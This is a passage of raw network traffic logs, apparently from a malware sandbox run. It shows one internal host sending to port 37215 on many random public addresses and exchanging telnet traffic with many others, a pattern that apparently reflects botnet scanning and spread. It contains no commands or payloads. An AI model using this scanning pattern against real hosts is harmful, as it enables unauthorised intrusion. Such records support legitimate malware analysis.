Dec 3, 2024 22:11:43.839387894 CET	5603	37215	192.168.2.23	41.31.147.83
Dec 3, 2024 22:11:43.839411020 CET	5603	37215	192.168.2.23	41.10.13.116
Dec 3, 2024 22:11:43.839411020 CET	5603	37215	192.168.2.23	41.189.204.14
Dec 3, 2024 22:11:43.839423895 CET	5603	37215	192.168.2.23	156.132.132.181
Dec 3, 2024 22:11:43.839427948 CET	5603	37215	192.168.2.23	197.69.19.58
Dec 3, 2024 22:11:43.839427948 CET	5603	37215	192.168.2.23	41.236.202.71
Dec 3, 2024 22:11:43.839427948 CET	5603	37215	192.168.2.23	41.178.23.86
Dec 3, 2024 22:11:43.839432955 CET	5603	37215	192.168.2.23	41.78.166.147
Dec 3, 2024 22:11:43.839448929 CET	5603	37215	192.168.2.23	197.176.72.199
Dec 3, 2024 22:11:43.839451075 CET	5603	37215	192.168.2.23	41.248.229.116
Dec 3, 2024 22:11:43.839453936 CET	5603	37215	192.168.2.23	197.125.64.234
Dec 3, 2024 22:11:43.839453936 CET	5603	37215	192.168.2.23	197.75.253.155
Dec 3, 2024 22:11:43.839454889 CET	5603	37215	192.168.2.23	197.234.176.186
Dec 3, 2024 22:11:43.839454889 CET	5603	37215	192.168.2.23	156.195.119.125
Dec 3, 2024 22:11:43.839454889 CET	5603	37215	192.168.2.23	41.103.9.226
Dec 3, 2024 22:11:43.839454889 CET	5603	37215	192.168.2.23	156.48.60.30
Dec 3, 2024 22:11:43.839454889 CET	5603	37215	192.168.2.23	197.51.71.238
Dec 3, 2024 22:11:43.839457989 CET	5603	37215	192.168.2.23	156.19.192.101
Dec 3, 2024 22:11:43.839457989 CET	5603	37215	192.168.2.23	197.138.35.112
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	197.120.0.141
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	156.89.76.48
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	197.53.99.113
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	41.93.183.22
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	41.205.151.144
Dec 3, 2024 22:11:43.839468956 CET	5603	37215	192.168.2.23	156.35.91.129
Dec 3, 2024 22:11:43.839472055 CET	5603	37215	192.168.2.23	156.244.216.11
Dec 3, 2024 22:11:43.839476109 CET	5603	37215	192.168.2.23	41.75.165.229
Dec 3, 2024 22:11:43.839476109 CET	5603	37215	192.168.2.23	156.214.176.26
Dec 3, 2024 22:11:43.839476109 CET	5603	37215	192.168.2.23	41.202.193.198
Dec 3, 2024 22:11:43.839477062 CET	5603	37215	192.168.2.23	156.215.67.205
Dec 3, 2024 22:11:43.839477062 CET	5603	37215	192.168.2.23	41.140.162.136
Dec 3, 2024 22:11:43.839479923 CET	5603	37215	192.168.2.23	41.38.176.14
Dec 3, 2024 22:11:43.839484930 CET	5603	37215	192.168.2.23	197.2.67.28
Dec 3, 2024 22:11:43.839484930 CET	5603	37215	192.168.2.23	41.181.252.34
Dec 3, 2024 22:11:43.839484930 CET	5603	37215	192.168.2.23	156.184.132.86
Dec 3, 2024 22:11:43.839484930 CET	5603	37215	192.168.2.23	197.143.236.27
Dec 3, 2024 22:11:43.839484930 CET	5603	37215	192.168.2.23	156.212.179.162
Dec 3, 2024 22:11:43.839497089 CET	5603	37215	192.168.2.23	156.226.95.92
Dec 3, 2024 22:11:43.839499950 CET	5603	37215	192.168.2.23	156.49.23.107
Dec 3, 2024 22:11:43.839499950 CET	5603	37215	192.168.2.23	41.151.115.46
Dec 3, 2024 22:11:43.839499950 CET	5603	37215	192.168.2.23	41.28.113.26
Dec 3, 2024 22:11:43.839499950 CET	5603	37215	192.168.2.23	156.92.26.213
Dec 3, 2024 22:11:43.839500904 CET	5603	37215	192.168.2.23	41.132.36.11
Dec 3, 2024 22:11:43.839500904 CET	5603	37215	192.168.2.23	197.91.135.189
Dec 3, 2024 22:11:43.839500904 CET	5603	37215	192.168.2.23	41.38.206.218
Dec 3, 2024 22:11:43.839500904 CET	5603	37215	192.168.2.23	156.177.150.188
Dec 3, 2024 22:11:43.839504004 CET	5603	37215	192.168.2.23	197.204.85.105
Dec 3, 2024 22:11:43.839504004 CET	5603	37215	192.168.2.23	156.182.58.208
Dec 3, 2024 22:11:43.839504004 CET	5603	37215	192.168.2.23	41.247.43.250
Dec 3, 2024 22:11:43.839515924 CET	5603	37215	192.168.2.23	41.212.86.234
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	197.91.35.7
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	41.129.175.227
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	41.215.226.33
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	41.62.227.111
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	41.138.159.4
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	197.112.36.215
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	197.45.55.141
Dec 3, 2024 22:11:43.839570999 CET	5603	37215	192.168.2.23	156.238.75.208
Dec 3, 2024 22:11:43.839581966 CET	5603	37215	192.168.2.23	156.118.228.133
Dec 3, 2024 22:11:43.839582920 CET	5603	37215	192.168.2.23	156.35.192.232
Dec 3, 2024 22:11:43.839581966 CET	5603	37215	192.168.2.23	156.85.122.195
Dec 3, 2024 22:11:43.839582920 CET	5603	37215	192.168.2.23	197.191.64.11
Dec 3, 2024 22:11:43.839584112 CET	5603	37215	192.168.2.23	41.229.215.215
Dec 3, 2024 22:11:43.839586020 CET	5603	37215	192.168.2.23	41.192.111.101
Dec 3, 2024 22:11:43.839586020 CET	5603	37215	192.168.2.23	41.149.94.87
Dec 3, 2024 22:11:43.839586020 CET	5603	37215	192.168.2.23	156.190.171.184
Dec 3, 2024 22:11:43.839586020 CET	5603	37215	192.168.2.23	156.196.43.124
Dec 3, 2024 22:11:43.839586020 CET	5603	37215	192.168.2.23	41.79.182.117
Dec 3, 2024 22:11:43.839605093 CET	5603	37215	192.168.2.23	197.60.204.100
Dec 3, 2024 22:11:43.839605093 CET	5603	37215	192.168.2.23	41.150.196.178
Dec 3, 2024 22:11:43.839605093 CET	5603	37215	192.168.2.23	156.9.239.220
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	156.238.214.39
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	41.239.149.223
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	156.238.224.221
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	41.239.231.118
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	41.181.167.83
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	156.75.168.53
Dec 3, 2024 22:11:43.839611053 CET	5603	37215	192.168.2.23	197.161.0.187
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	41.255.50.233
Dec 3, 2024 22:11:43.839611053 CET	5603	37215	192.168.2.23	41.248.49.146
Dec 3, 2024 22:11:43.839612007 CET	5603	37215	192.168.2.23	197.92.62.168
Dec 3, 2024 22:11:43.839611053 CET	5603	37215	192.168.2.23	41.98.150.22
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	197.104.17.65
Dec 3, 2024 22:11:43.839611053 CET	5603	37215	192.168.2.23	197.91.253.137
Dec 3, 2024 22:11:43.839612961 CET	5603	37215	192.168.2.23	156.104.29.226
Dec 3, 2024 22:11:43.839612961 CET	5603	37215	192.168.2.23	197.244.246.167
Dec 3, 2024 22:11:43.839615107 CET	5603	37215	192.168.2.23	156.149.67.11
Dec 3, 2024 22:11:43.839611053 CET	5603	37215	192.168.2.23	156.254.101.122
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	41.242.44.210
Dec 3, 2024 22:11:43.839615107 CET	5603	37215	192.168.2.23	197.51.215.179
Dec 3, 2024 22:11:43.839606047 CET	5603	37215	192.168.2.23	156.118.155.118
Dec 3, 2024 22:11:43.839615107 CET	5603	37215	192.168.2.23	156.247.79.100
Dec 3, 2024 22:11:43.839615107 CET	5603	37215	192.168.2.23	197.241.146.115
Dec 3, 2024 22:11:43.839631081 CET	5603	37215	192.168.2.23	156.215.142.134
Dec 3, 2024 22:11:43.924386978 CET	23	8163	27.19.155.159	192.168.2.23
Dec 3, 2024 22:11:43.924410105 CET	23	8163	129.60.203.27	192.168.2.23
Dec 3, 2024 22:11:43.924422026 CET	23	8163	122.0.18.29	192.168.2.23
Dec 3, 2024 22:11:43.924444914 CET	8163	23	192.168.2.23	27.19.155.159
Dec 3, 2024 22:11:43.924474001 CET	8163	23	192.168.2.23	129.60.203.27
Dec 3, 2024 22:11:43.924482107 CET	8163	23	192.168.2.23	122.0.18.29
Dec 3, 2024 22:11:43.924525976 CET	23	8163	97.224.243.28	192.168.2.23
Dec 3, 2024 22:11:43.924540043 CET	23	8163	196.242.46.194	192.168.2.23
Dec 3, 2024 22:11:43.924566984 CET	8163	23	192.168.2.23	97.224.243.28
Dec 3, 2024 22:11:43.924575090 CET	23	8163	1.59.86.143	192.168.2.23
Dec 3, 2024 22:11:43.924583912 CET	23	8163	212.252.248.56	192.168.2.23
Dec 3, 2024 22:11:43.924597025 CET	8163	23	192.168.2.23	196.242.46.194
Dec 3, 2024 22:11:43.924597025 CET	23	8163	181.201.235.232	192.168.2.23
Dec 3, 2024 22:11:43.924604893 CET	8163	23	192.168.2.23	1.59.86.143
Dec 3, 2024 22:11:43.924607992 CET	23	8163	52.223.38.6	192.168.2.23
Dec 3, 2024 22:11:43.924617052 CET	23	8163	162.214.227.228	192.168.2.23
Dec 3, 2024 22:11:43.924618959 CET	8163	23	192.168.2.23	212.252.248.56
Dec 3, 2024 22:11:43.924626112 CET	23	8163	48.208.22.10	192.168.2.23
Dec 3, 2024 22:11:43.924633980 CET	8163	23	192.168.2.23	181.201.235.232
Dec 3, 2024 22:11:43.924634933 CET	23	8163	172.224.196.212	192.168.2.23
Dec 3, 2024 22:11:43.924644947 CET	23	8163	45.50.116.147	192.168.2.23
Dec 3, 2024 22:11:43.924649954 CET	8163	23	192.168.2.23	162.214.227.228
Dec 3, 2024 22:11:43.924652100 CET	8163	23	192.168.2.23	52.223.38.6
Dec 3, 2024 22:11:43.924655914 CET	23	8163	217.166.73.14	192.168.2.23
Dec 3, 2024 22:11:43.924658060 CET	8163	23	192.168.2.23	48.208.22.10
Dec 3, 2024 22:11:43.924674034 CET	23	8163	132.15.73.195	192.168.2.23
Dec 3, 2024 22:11:43.924675941 CET	8163	23	192.168.2.23	172.224.196.212
Dec 3, 2024 22:11:43.924675941 CET	8163	23	192.168.2.23	45.50.116.147
Dec 3, 2024 22:11:43.924683094 CET	23	8163	115.220.251.70	192.168.2.23
Dec 3, 2024 22:11:43.924690962 CET	23	8163	61.10.2.73	192.168.2.23
Dec 3, 2024 22:11:43.924699068 CET	8163	23	192.168.2.23	217.166.73.14
Dec 3, 2024 22:11:43.924700975 CET	23	8163	98.131.97.124	192.168.2.23
Dec 3, 2024 22:11:43.924704075 CET	8163	23	192.168.2.23	132.15.73.195
Dec 3, 2024 22:11:43.924704075 CET	8163	23	192.168.2.23	115.220.251.70
Dec 3, 2024 22:11:43.924710989 CET	23	8163	152.187.38.172	192.168.2.23
Dec 3, 2024 22:11:43.924720049 CET	23	8163	58.163.251.64	192.168.2.23
Dec 3, 2024 22:11:43.924721003 CET	8163	23	192.168.2.23	61.10.2.73
Dec 3, 2024 22:11:43.924730062 CET	23	8163	121.76.195.51	192.168.2.23
Dec 3, 2024 22:11:43.924738884 CET	23	8163	59.191.151.20	192.168.2.23
Dec 3, 2024 22:11:43.924741983 CET	8163	23	192.168.2.23	152.187.38.172
Dec 3, 2024 22:11:43.924747944 CET	23	8163	109.73.6.63	192.168.2.23
Dec 3, 2024 22:11:43.924753904 CET	8163	23	192.168.2.23	98.131.97.124
Dec 3, 2024 22:11:43.924753904 CET	8163	23	192.168.2.23	58.163.251.64
Dec 3, 2024 22:11:43.924755096 CET	8163	23	192.168.2.23	121.76.195.51
Dec 3, 2024 22:11:43.924757957 CET	23	8163	168.182.62.98	192.168.2.23
Dec 3, 2024 22:11:43.924770117 CET	8163	23	192.168.2.23	59.191.151.20
Dec 3, 2024 22:11:43.924772978 CET	23	8163	129.173.139.90	192.168.2.23
Dec 3, 2024 22:11:43.924782038 CET	23	8163	161.124.156.57	192.168.2.23
Dec 3, 2024 22:11:43.924783945 CET	8163	23	192.168.2.23	109.73.6.63
Dec 3, 2024 22:11:43.924791098 CET	23	8163	61.9.125.243	192.168.2.23
Dec 3, 2024 22:11:43.924792051 CET	8163	23	192.168.2.23	168.182.62.98
Dec 3, 2024 22:11:43.924799919 CET	23	8163	192.207.79.2	192.168.2.23
Dec 3, 2024 22:11:43.924810886 CET	23	8163	81.56.140.246	192.168.2.23
Dec 3, 2024 22:11:43.924818993 CET	8163	23	192.168.2.23	129.173.139.90
Dec 3, 2024 22:11:43.924819946 CET	23	8163	155.70.106.130	192.168.2.23
Dec 3, 2024 22:11:43.924824953 CET	8163	23	192.168.2.23	161.124.156.57
Dec 3, 2024 22:11:43.924824953 CET	8163	23	192.168.2.23	61.9.125.243
Dec 3, 2024 22:11:43.924828053 CET	23	8163	40.94.51.244	192.168.2.23
Dec 3, 2024 22:11:43.924835920 CET	8163	23	192.168.2.23	192.207.79.2
Dec 3, 2024 22:11:43.924839020 CET	8163	23	192.168.2.23	81.56.140.246
Dec 3, 2024 22:11:43.924846888 CET	8163	23	192.168.2.23	155.70.106.130
Dec 3, 2024 22:11:43.924853086 CET	23	8163	112.7.67.172	192.168.2.23
Dec 3, 2024 22:11:43.924858093 CET	8163	23	192.168.2.23	40.94.51.244
Dec 3, 2024 22:11:43.924892902 CET	8163	23	192.168.2.23	112.7.67.172
Dec 3, 2024 22:11:43.925168991 CET	23	8163	162.224.79.10	192.168.2.23
Dec 3, 2024 22:11:43.925210953 CET	23	8163	4.54.78.145	192.168.2.23
Dec 3, 2024 22:11:43.925214052 CET	8163	23	192.168.2.23	162.224.79.10
Dec 3, 2024 22:11:43.925221920 CET	23	8163	107.207.74.29	192.168.2.23
Dec 3, 2024 22:11:43.925232887 CET	23	8163	166.133.88.141	192.168.2.23
Dec 3, 2024 22:11:43.925251007 CET	8163	23	192.168.2.23	4.54.78.145
Dec 3, 2024 22:11:43.925251007 CET	8163	23	192.168.2.23	107.207.74.29
Dec 3, 2024 22:11:43.925295115 CET	8163	23	192.168.2.23	166.133.88.141
Dec 3, 2024 22:11:43.925343990 CET	23	8163	128.140.77.0	192.168.2.23
Dec 3, 2024 22:11:43.925383091 CET	8163	23	192.168.2.23	128.140.77.0
Dec 3, 2024 22:11:43.925398111 CET	23	8163	110.168.60.188	192.168.2.23
Dec 3, 2024 22:11:43.925434113 CET	8163	23	192.168.2.23	110.168.60.188
Dec 3, 2024 22:11:43.925451040 CET	23	8163	110.187.116.154	192.168.2.23
Dec 3, 2024 22:11:43.925483942 CET	8163	23	192.168.2.23	110.187.116.154
Dec 3, 2024 22:11:43.925501108 CET	23	8163	197.24.27.7	192.168.2.23
Dec 3, 2024 22:11:43.925510883 CET	23	8163	46.80.181.99	192.168.2.23
Dec 3, 2024 22:11:43.925539017 CET	8163	23	192.168.2.23	197.24.27.7
Dec 3, 2024 22:11:43.925539017 CET	8163	23	192.168.2.23	46.80.181.99
Dec 3, 2024 22:11:43.925632954 CET	23	8163	211.165.225.19	192.168.2.23
Dec 3, 2024 22:11:43.925642014 CET	23	8163	218.21.203.88	192.168.2.23
Dec 3, 2024 22:11:43.925651073 CET	23	8163	108.188.29.82	192.168.2.23
Dec 3, 2024 22:11:43.925658941 CET	23	8163	160.62.149.209	192.168.2.23
Dec 3, 2024 22:11:43.925668001 CET	23	8163	39.243.197.137	192.168.2.23
Dec 3, 2024 22:11:43.925676107 CET	8163	23	192.168.2.23	211.165.225.19
Dec 3, 2024 22:11:43.925677061 CET	23	8163	4.255.92.164	192.168.2.23
Dec 3, 2024 22:11:43.925679922 CET	8163	23	192.168.2.23	218.21.203.88
Dec 3, 2024 22:11:43.925687075 CET	23	8163	49.241.137.180	192.168.2.23
Dec 3, 2024 22:11:43.925687075 CET	8163	23	192.168.2.23	160.62.149.209
Dec 3, 2024 22:11:43.925692081 CET	8163	23	192.168.2.23	39.243.197.137
Dec 3, 2024 22:11:43.925693989 CET	8163	23	192.168.2.23	108.188.29.82
Dec 3, 2024 22:11:43.925695896 CET	23	8163	109.156.53.98	192.168.2.23
Dec 3, 2024 22:11:43.925709009 CET	8163	23	192.168.2.23	4.255.92.164
Dec 3, 2024 22:11:43.925714016 CET	8163	23	192.168.2.23	49.241.137.180
Dec 3, 2024 22:11:43.925723076 CET	8163	23	192.168.2.23	109.156.53.98
Dec 3, 2024 22:11:44.044351101 CET	23	8163	142.132.66.214	192.168.2.23
Dec 3, 2024 22:11:44.044365883 CET	23	8163	130.14.134.59	192.168.2.23
Dec 3, 2024 22:11:44.044388056 CET	23	8163	145.76.87.210	192.168.2.23
Dec 3, 2024 22:11:44.044440985 CET	23	8163	49.97.144.230	192.168.2.23
Dec 3, 2024 22:11:44.044446945 CET	8163	23	192.168.2.23	130.14.134.59
Dec 3, 2024 22:11:44.044456959 CET	8163	23	192.168.2.23	142.132.66.214
Dec 3, 2024 22:11:44.044457912 CET	8163	23	192.168.2.23	145.76.87.210
Dec 3, 2024 22:11:44.044497967 CET	8163	23	192.168.2.23	49.97.144.230
Dec 3, 2024 22:11:44.044611931 CET	23	8163	113.57.59.182	192.168.2.23
Dec 3, 2024 22:11:44.044652939 CET	23	8163	149.174.216.99	192.168.2.23
Dec 3, 2024 22:11:44.044656038 CET	8163	23	192.168.2.23	113.57.59.182
Dec 3, 2024 22:11:44.044662952 CET	23	8163	118.231.62.84	192.168.2.23
Dec 3, 2024 22:11:44.044692993 CET	8163	23	192.168.2.23	149.174.216.99
Dec 3, 2024 22:11:44.044697046 CET	8163	23	192.168.2.23	118.231.62.84
Dec 3, 2024 22:11:44.044732094 CET	23	8163	23.94.144.249	192.168.2.23
Dec 3, 2024 22:11:44.044743061 CET	23	8163	46.170.178.198	192.168.2.23
Dec 3, 2024 22:11:44.044774055 CET	8163	23	192.168.2.23	23.94.144.249
Dec 3, 2024 22:11:44.044785976 CET	23	8163	135.254.142.174	192.168.2.23
Dec 3, 2024 22:11:44.044800997 CET	8163	23	192.168.2.23	46.170.178.198
Dec 3, 2024 22:11:44.044825077 CET	8163	23	192.168.2.23	135.254.142.174
Dec 3, 2024 22:11:44.044848919 CET	23	8163	94.180.187.128	192.168.2.23
Dec 3, 2024 22:11:44.044889927 CET	8163	23	192.168.2.23	94.180.187.128
Dec 3, 2024 22:11:44.044910908 CET	23	8163	165.235.32.83	192.168.2.23
Dec 3, 2024 22:11:44.044919014 CET	23	8163	98.24.105.73	192.168.2.23
Dec 3, 2024 22:11:44.044950008 CET	8163	23	192.168.2.23	98.24.105.73
Dec 3, 2024 22:11:44.044950962 CET	8163	23	192.168.2.23	165.235.32.83
Dec 3, 2024 22:11:44.044970036 CET	23	8163	112.171.169.144	192.168.2.23
Dec 3, 2024 22:11:44.045007944 CET	8163	23	192.168.2.23	112.171.169.144
Dec 3, 2024 22:11:44.045332909 CET	23	8163	120.250.124.183	192.168.2.23
Dec 3, 2024 22:11:44.045376062 CET	8163	23	192.168.2.23	120.250.124.183
Dec 3, 2024 22:11:44.045386076 CET	23	8163	62.32.5.147	192.168.2.23
Dec 3, 2024 22:11:44.045414925 CET	23	8163	220.121.214.202	192.168.2.23
Dec 3, 2024 22:11:44.045428991 CET	8163	23	192.168.2.23	62.32.5.147
Dec 3, 2024 22:11:44.045461893 CET	8163	23	192.168.2.23	220.121.214.202
Dec 3, 2024 22:11:44.045463085 CET	23	8163	107.239.46.78	192.168.2.23
Dec 3, 2024 22:11:44.045473099 CET	23	8163	46.231.227.194	192.168.2.23
Dec 3, 2024 22:11:44.045506954 CET	8163	23	192.168.2.23	107.239.46.78
Dec 3, 2024 22:11:44.045511007 CET	8163	23	192.168.2.23	46.231.227.194
Dec 3, 2024 22:11:44.045545101 CET	23	8163	167.99.83.12	192.168.2.23
Dec 3, 2024 22:11:44.045556068 CET	23	8163	154.206.64.101	192.168.2.23
Dec 3, 2024 22:11:44.045563936 CET	23	8163	178.81.81.114	192.168.2.23
Dec 3, 2024 22:11:44.045572042 CET	23	8163	107.127.46.140	192.168.2.23
Dec 3, 2024 22:11:44.045581102 CET	23	8163	39.50.84.48	192.168.2.23
Dec 3, 2024 22:11:44.045587063 CET	8163	23	192.168.2.23	154.206.64.101
Dec 3, 2024 22:11:44.045587063 CET	8163	23	192.168.2.23	178.81.81.114
Dec 3, 2024 22:11:44.045589924 CET	8163	23	192.168.2.23	167.99.83.12
Dec 3, 2024 22:11:44.045600891 CET	8163	23	192.168.2.23	107.127.46.140
Dec 3, 2024 22:11:44.045613050 CET	8163	23	192.168.2.23	39.50.84.48
Dec 3, 2024 22:11:44.045706987 CET	23	8163	95.163.218.59	192.168.2.23
Dec 3, 2024 22:11:44.045717001 CET	23	8163	131.247.54.62	192.168.2.23
Dec 3, 2024 22:11:44.045725107 CET	23	8163	48.31.136.145	192.168.2.23
Dec 3, 2024 22:11:44.045733929 CET	23	8163	208.205.236.241	192.168.2.23
Dec 3, 2024 22:11:44.045753956 CET	8163	23	192.168.2.23	95.163.218.59
Dec 3, 2024 22:11:44.045758963 CET	8163	23	192.168.2.23	48.31.136.145
Dec 3, 2024 22:11:44.045758963 CET	8163	23	192.168.2.23	131.247.54.62
Dec 3, 2024 22:11:44.045775890 CET	8163	23	192.168.2.23	208.205.236.241
Dec 3, 2024 22:11:44.048363924 CET	23	8163	46.250.196.175	192.168.2.23
Dec 3, 2024 22:11:44.048408031 CET	8163	23	192.168.2.23	46.250.196.175
Dec 3, 2024 22:11:44.049241066 CET	23	8163	206.172.134.209	192.168.2.23
Dec 3, 2024 22:11:44.049251080 CET	23	8163	83.111.155.181	192.168.2.23
Dec 3, 2024 22:11:44.049284935 CET	8163	23	192.168.2.23	83.111.155.181
Dec 3, 2024 22:11:44.049287081 CET	8163	23	192.168.2.23	206.172.134.209
Dec 3, 2024 22:11:44.049604893 CET	23	8163	1.228.141.140	192.168.2.23
Dec 3, 2024 22:11:44.049614906 CET	23	8163	150.224.234.90	192.168.2.23
Dec 3, 2024 22:11:44.049623013 CET	23	8163	124.65.163.159	192.168.2.23
Dec 3, 2024 22:11:44.049632072 CET	23	8163	123.28.187.137	192.168.2.23
Dec 3, 2024 22:11:44.049639940 CET	23	8163	85.237.23.24	192.168.2.23
Dec 3, 2024 22:11:44.049644947 CET	8163	23	192.168.2.23	1.228.141.140
Dec 3, 2024 22:11:44.049644947 CET	8163	23	192.168.2.23	150.224.234.90
Dec 3, 2024 22:11:44.049649000 CET	23	8163	93.191.95.66	192.168.2.23
Dec 3, 2024 22:11:44.049657106 CET	8163	23	192.168.2.23	124.65.163.159
Dec 3, 2024 22:11:44.049658060 CET	23	8163	112.52.55.71	192.168.2.23
Dec 3, 2024 22:11:44.049663067 CET	8163	23	192.168.2.23	123.28.187.137
Dec 3, 2024 22:11:44.049665928 CET	8163	23	192.168.2.23	85.237.23.24
Dec 3, 2024 22:11:44.049665928 CET	23	8163	93.115.136.67	192.168.2.23
Dec 3, 2024 22:11:44.049684048 CET	23	8163	9.134.146.43	192.168.2.23
Dec 3, 2024 22:11:44.049688101 CET	8163	23	192.168.2.23	93.191.95.66
Dec 3, 2024 22:11:44.049691916 CET	8163	23	192.168.2.23	112.52.55.71
Dec 3, 2024 22:11:44.049694061 CET	23	8163	74.233.231.190	192.168.2.23
Dec 3, 2024 22:11:44.049702883 CET	8163	23	192.168.2.23	93.115.136.67
Dec 3, 2024 22:11:44.049702883 CET	23	8163	210.176.241.17	192.168.2.23
Dec 3, 2024 22:11:44.049711943 CET	23	8163	63.14.135.133	192.168.2.23
Dec 3, 2024 22:11:44.049715042 CET	8163	23	192.168.2.23	9.134.146.43
Dec 3, 2024 22:11:44.049721003 CET	23	8163	129.107.6.209	192.168.2.23
Dec 3, 2024 22:11:44.049725056 CET	8163	23	192.168.2.23	74.233.231.190
Dec 3, 2024 22:11:44.049734116 CET	23	8163	71.203.104.48	192.168.2.23
Dec 3, 2024 22:11:44.049742937 CET	8163	23	192.168.2.23	63.14.135.133
Dec 3, 2024 22:11:44.049743891 CET	23	8163	162.240.183.246	192.168.2.23
Dec 3, 2024 22:11:44.049751997 CET	23	8163	218.91.146.19	192.168.2.23
Dec 3, 2024 22:11:44.049757957 CET	8163	23	192.168.2.23	129.107.6.209
Dec 3, 2024 22:11:44.049758911 CET	8163	23	192.168.2.23	71.203.104.48
Dec 3, 2024 22:11:44.049761057 CET	23	8163	221.22.210.48	192.168.2.23
Dec 3, 2024 22:11:44.049770117 CET	23	8163	88.157.174.96	192.168.2.23
Dec 3, 2024 22:11:44.049773932 CET	23	8163	178.110.169.247	192.168.2.23
Dec 3, 2024 22:11:44.049777031 CET	8163	23	192.168.2.23	210.176.241.17
Dec 3, 2024 22:11:44.049777985 CET	23	8163	137.84.80.24	192.168.2.23
Dec 3, 2024 22:11:44.049777031 CET	8163	23	192.168.2.23	218.91.146.19
Dec 3, 2024 22:11:44.049782038 CET	8163	23	192.168.2.23	162.240.183.246
Dec 3, 2024 22:11:44.049787998 CET	23	8163	179.241.150.156	192.168.2.23
Dec 3, 2024 22:11:44.049798012 CET	23	8163	203.84.150.8	192.168.2.23
Dec 3, 2024 22:11:44.049802065 CET	8163	23	192.168.2.23	178.110.169.247
Dec 3, 2024 22:11:44.049803019 CET	8163	23	192.168.2.23	221.22.210.48
Dec 3, 2024 22:11:44.049804926 CET	8163	23	192.168.2.23	88.157.174.96
Dec 3, 2024 22:11:44.049806118 CET	23	8163	111.186.44.88	192.168.2.23
Dec 3, 2024 22:11:44.049813032 CET	8163	23	192.168.2.23	137.84.80.24
Dec 3, 2024 22:11:44.049813986 CET	23	8163	106.77.217.27	192.168.2.23
Dec 3, 2024 22:11:44.049823999 CET	23	8163	149.97.188.240	192.168.2.23
Dec 3, 2024 22:11:44.049827099 CET	8163	23	192.168.2.23	179.241.150.156
Dec 3, 2024 22:11:44.049829960 CET	8163	23	192.168.2.23	203.84.150.8
Dec 3, 2024 22:11:44.049832106 CET	23	8163	208.111.94.122	192.168.2.23
Dec 3, 2024 22:11:44.049835920 CET	23	8163	136.169.60.177	192.168.2.23
Dec 3, 2024 22:11:44.049839973 CET	23	8163	73.194.135.82	192.168.2.23
Dec 3, 2024 22:11:44.049844980 CET	8163	23	192.168.2.23	106.77.217.27
Dec 3, 2024 22:11:44.049845934 CET	8163	23	192.168.2.23	111.186.44.88
Dec 3, 2024 22:11:44.049848080 CET	23	8163	165.152.168.149	192.168.2.23
Dec 3, 2024 22:11:44.049851894 CET	23	8163	198.15.120.176	192.168.2.23
Dec 3, 2024 22:11:44.049856901 CET	23	8163	179.19.242.84	192.168.2.23
Dec 3, 2024 22:11:44.049885035 CET	23	8163	179.63.173.45	192.168.2.23
Dec 3, 2024 22:11:44.049892902 CET	23	8163	18.19.55.128	192.168.2.23
Dec 3, 2024 22:11:44.049895048 CET	8163	23	192.168.2.23	208.111.94.122
Dec 3, 2024 22:11:44.049895048 CET	8163	23	192.168.2.23	149.97.188.240
Dec 3, 2024 22:11:44.049896955 CET	8163	23	192.168.2.23	165.152.168.149
Dec 3, 2024 22:11:44.049896955 CET	8163	23	192.168.2.23	136.169.60.177
Dec 3, 2024 22:11:44.049896955 CET	8163	23	192.168.2.23	179.19.242.84
Dec 3, 2024 22:11:44.049896955 CET	8163	23	192.168.2.23	73.194.135.82
Dec 3, 2024 22:11:44.049902916 CET	23	8163	222.40.172.36	192.168.2.23
Dec 3, 2024 22:11:44.049911976 CET	23	8163	153.199.161.183	192.168.2.23
Dec 3, 2024 22:11:44.049913883 CET	8163	23	192.168.2.23	198.15.120.176
Dec 3, 2024 22:11:44.049917936 CET	8163	23	192.168.2.23	179.63.173.45
Dec 3, 2024 22:11:44.049921036 CET	23	8163	165.231.33.169	192.168.2.23
Dec 3, 2024 22:11:44.049921036 CET	8163	23	192.168.2.23	18.19.55.128
Dec 3, 2024 22:11:44.049930096 CET	23	8163	107.161.81.24	192.168.2.23
Dec 3, 2024 22:11:44.049933910 CET	23	8163	128.129.217.55	192.168.2.23
Dec 3, 2024 22:11:44.049937963 CET	23	8163	112.168.232.233	192.168.2.23
Dec 3, 2024 22:11:44.049946070 CET	23	8163	186.248.40.153	192.168.2.23
Dec 3, 2024 22:11:44.049951077 CET	8163	23	192.168.2.23	222.40.172.36
Dec 3, 2024 22:11:44.049951077 CET	8163	23	192.168.2.23	165.231.33.169
Dec 3, 2024 22:11:44.049952984 CET	8163	23	192.168.2.23	107.161.81.24
Dec 3, 2024 22:11:44.049954891 CET	23	8163	87.212.74.200	192.168.2.23
Dec 3, 2024 22:11:44.049959898 CET	8163	23	192.168.2.23	153.199.161.183
Dec 3, 2024 22:11:44.049964905 CET	23	8163	171.107.227.88	192.168.2.23
Dec 3, 2024 22:11:44.049973965 CET	23	8163	108.163.223.1	192.168.2.23
Dec 3, 2024 22:11:44.049982071 CET	8163	23	192.168.2.23	186.248.40.153
Dec 3, 2024 22:11:44.049982071 CET	8163	23	192.168.2.23	87.212.74.200
Dec 3, 2024 22:11:44.049983025 CET	23	8163	183.105.14.65	192.168.2.23
Dec 3, 2024 22:11:44.049988031 CET	8163	23	192.168.2.23	128.129.217.55
